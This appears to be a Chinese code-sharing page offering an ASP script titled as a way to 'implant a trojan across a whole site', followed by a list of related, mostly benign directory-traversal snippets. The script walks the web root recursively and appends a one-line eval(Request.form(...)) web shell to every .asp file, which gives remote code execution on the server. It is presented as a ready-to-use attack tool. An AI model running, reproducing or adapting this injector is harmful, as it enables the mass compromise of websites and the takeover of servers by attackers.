FSO遍历目录实现全站插马的代码
<%
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/")
Sub InsertAllFiles(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
on error resume next
Set f = FSO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
Set FS1 = CreateObject("Scripting.FileSystemObject")
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
else
InsertAllFiles(newpath)
end if
tfile.close
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
newpath=path&""&f1.name
InsertAllFiles(newpath)
Next
set tfile=nothing
Set FSO = Nothing
End Sub
%>
<%
call InsertAllFiles(ph)
%>
相关推荐
-
FSO遍历目录实现全站插马的代码
<% dim ph dim intfile server.ScriptTimeout = 600 ph=server.mappath("/") Sub InsertAllFiles(Path) Set FSO = CreateObject("Scripting.FileSystemObject") on error resume next Set f = FSO.GetFolder(Path) Set fc2 = f.files For Each myfi
-
ASP,FSO遍历目录及目录下文件
<%@ Language=VBScript %> <% '我写的一个遍历目录以及目录下文件的函数, %> <% function bianli(path) set fso=server.CreateObject("scripting.filesystemobject") on error resume next set objFolder=fso.GetFolder(path) set objSubFolders=objFolder.Subfolders
-
CMD下一个命令遍历目录并删除相同文件的代码
如果不小心安装了些制造垃圾的小工具,在系统中各个盘符下都产生了相同的垃圾文件,如我系统中就曾经有被产生了无数的desktop_1.ini 和 desktop_2.ini,当时首先想到的解决办法就是把所有的文件用windows的搜索工具找到,再一并删除,这种方法固然可以解决,但搜索的时候别忘了勾选搜索隐藏文件和隐藏文件夹,不然你是搜索不到恶意制造的垃圾文件的. 这里给出另一种简单办法,只要一个命令,也可达到同样的效果. 它遍历当前盘符并自动删除找到的文件. 命令格式: 复制代码 代码如下: I:\
-
asp遍历目录及子目录的函数
<%@ Language=vbscript %> <% '遍历目录以及目录下文件的函数 %> <% Function Bianli(path) Set Fso=server.createobject("scripting.filesystemobject") On Error Resume Next Set Objfolder=fso.getfolder(path) Set Objsubfolders=objfolder
-
遍历目录以及目录下文件的函数
<%@ Language=VBScript %> <% '遍历目录以及目录下文件的函数, %> <% function bianli(path) set fso=server.CreateObject("scripting.filesystemobject") on error resume next set objFolder=fso.GetFolder(path) set objSubFolders=objFolder.Subfolders for e
-
GO语言实现列出目录和遍历目录的方法
本文实例讲述了GO语言实现列出目录和遍历目录的方法.分享给大家供大家参考.具体如下: GO语言获取目录列表用 ioutil.ReadDir(),遍历目录用 filepath.Walk(),使用方法课参考本文示例. 具体示例代码如下: 复制代码 代码如下: package main import ( "fmt" "io/ioutil" "os" "path/filepath" "strings" )
-
Java文件操作之按行读取文件和遍历目录的方法
按行读取文件 package test; import java.io.*; import java.util.*; public class ReadTest { public static List<String> first_list; public static List<String> second_list; public ReadTest() { first_list = new LinkedList<>(); second_list = new Link
-
PHP遍历目录函数opendir()、readdir()、closedir()、rewinddir()总结
在进行PHP编程时,需要对服务器某个目录下面的文件进行浏览,通常成为遍历目录.取得一个目录下的文件和子目录,就需要用到opendir()函数.readdir()函数.closedir()函数和rewinddir()函数. ①函数opendir() 函数opendir()用于打开指定目录,接受一个目录的路径及目录名作为参数,函数返回值为可供其他目录函数使用的目录句柄(资源类型).如果该目录不存在或者没有访问权限,则返回FALSE. ②函数readdir() 函数readdir()用于读取指定目录,
-
PHP采用自定义函数实现遍历目录下所有文件的方法
目录的遍历是PHP程序设计中经常会用到的一个功能,很多PHP项目都有这一功能模块.今天本文就来实例解析一下PHP采用自定义函数实现遍历目录下所有文件的方法.具体方法如下: 方法一:使用readir()遍历目录 实现代码如下: function listDir($dir) { if(is_dir($dir)) { if($handle = opendir($dir)) { while($file = readdir($handle)) { if($file != '.' && $file !
-
PHP不用递归遍历目录下所有文件的代码
实现代码: /** * PHP 非递归实现查询该目录下所有文件 * @param unknown $dir * @return multitype:|multitype:string */ function scanfiles($dir) { if (! is_dir ( $dir )) return array (); // 兼容各操作系统 $dir = rtrim ( str_replace ( '\\', '/', $dir ), '/' ) . '/'; // 栈,默认值为传入的目录 $
随机推荐
- 浅谈angular2 组件的生命周期钩子
- Python 爬虫多线程详解及实例代码
- 学习YUI.Ext 第二天
- 按钮JS复制文本框和表格的代码
- VirtualBox 共享文件夹权限设置及使用方法
- 静态gb2312编码在项目传值出现中文乱码现象
- 详解Javascript继承的实现
- 微信小程序利用co处理异步流程的方法教程
- 创建基于ASP.NET的SMTP邮件服务的具体方法
- 基于jQuery的公告无限循环滚动实现代码
- Linux查看命令之od命令详解
- 图片与JavaScript配合做出个性滚动条
- mysql 查询表中平均分最低的班级
- 利用Nginx反向代理与负载均衡搭建多人测试环境详解
- Android 动态注册监听网络变化实例详解
- Android 使用CoordinatorLayout实现滚动标题栏效果的实例
- Struts1教程之ActionMapping_动力节点Java学院整理
- Spring Boot Gradle发布war到tomcat的方法示例
- Oracle全角数字转换半角数字
- js中Array对象的常用遍历方法详解